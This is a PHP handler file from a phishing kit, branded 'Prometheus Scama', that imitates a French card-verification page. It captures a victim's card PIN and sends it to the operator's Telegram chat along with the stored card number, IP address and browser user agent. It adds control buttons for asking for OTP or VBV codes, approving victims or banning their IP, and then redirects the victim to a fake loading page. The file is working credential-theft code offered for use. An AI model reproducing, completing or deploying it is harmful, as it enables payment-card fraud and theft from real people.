<?php
defined('SECURE_CONTEXT') || define('SECURE_CONTEXT', true);
require_once dirname(__DIR__, 3) . '/app/anti.php';

if ($_SESSION['humain'] === true && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $pin = trim($_POST['pin'] ?? '');

    if (!empty($pin)) {
        $_SESSION['pin'] = htmlspecialchars($pin, ENT_QUOTES, 'UTF-8');

        $get = fn($key) => htmlspecialchars($_SESSION[$key] ?? 'N/A', ENT_QUOTES, 'UTF-8');

        $text = <<<EOT
<b>💳 +1 CODE PIN</b>

<b>💳 PIN ➟</b> <code>{$get('pin')}</code>
<b>💳 Carte ➟</b> <code>{$get('number')}</code>

<b>🌐 IP ➟</b> <code>{$get('ip')}</code>
<b>🌐 UA ➟</b> <code>{$get('ua')}</code>

<blockquote><b>Powered By 🛕 Prometheus Scama ® - @earthshakinggg
🛕 Author : Prometheus - @earthshakinggg</b></blockquote>
EOT;

        if ($CONFIG['webhook_buttons'] == true) {
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'callback_data' => "ban={$ip}"],
                        ['text' => '📊 PANEL 📊', 'url' => web_url('panel/')]
                    ],
                    [
                        ['text' => '📲 VBV 📲', 'callback_data' => "vbv={$ip}"],
                        ['text' => '🍎 OTP 🍎', 'callback_data' => "otp={$ip}"],
                    ],
                    [
                        ['text' => '✅ APPROVE ✅', 'callback_data' => "approve={$ip}"],
                    ],
                    [
                        ['text' => '✅ Generic Approve', 'callback_data' => "genericapprove={$ip}"],
                    ],
                    [
                        ['text' => '❌ PIN INVALIDE ❌', 'callback_data' => "pin_error={$ip}"],
                        ['text' => '🚪FIN 🚪', 'callback_data' => "success={$ip}"]
                    ],
                ]
            ];
        } else {
            $whBase = web_url('app/webhook.php');
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'url' => "{$whBase}?ban={$ipQuery}"],
                        ['text' => '📊 PANEL 📊', 'url' => web_url('panel/')]
                    ],
                    [
                        ['text' => '📲 VBV 📲', 'url' => "{$whBase}?vbv={$ipQuery}"],
                        ['text' => '🍎 OTP 🍎', 'url' => "{$whBase}?otp={$ipQuery}"],
                    ],
                    [
                        ['text' => '✅ APPROVE ✅', 'url' => "{$whBase}?approve={$ipQuery}"],
                    ],
                    [
                        ['text' => '✅ Generic Approve', 'url' => "{$whBase}?genericapprove={$ipQuery}"],
                    ],
                    [
                        ['text' => '❌ PIN INVALIDE ❌', 'url' => "{$whBase}?pin_error={$ipQuery}"],
                        ['text' => '🚪FIN 🚪', 'url' => "{$whBase}?success={$ipQuery}"]
                    ],
                ]
            ];
        }

        sendMessage($CONFIG['chat_id'], $text, $buttons);

        $_SESSION['mail-error'] = '';
        $_SESSION['previous-page'] = '';
        header('Location: ../../loading/');
        exit;
    } else {
        $_SESSION['mail-error'] = 'Le code que vous avez entré est incorrect. Veuillez réessayer.';
        header('Location: ../');
        exit;
    }
} else {
    $_SESSION['mail-error'] = 'Requête invalide.';
    header('Location: ../../../support/index.html');
    exit;
}
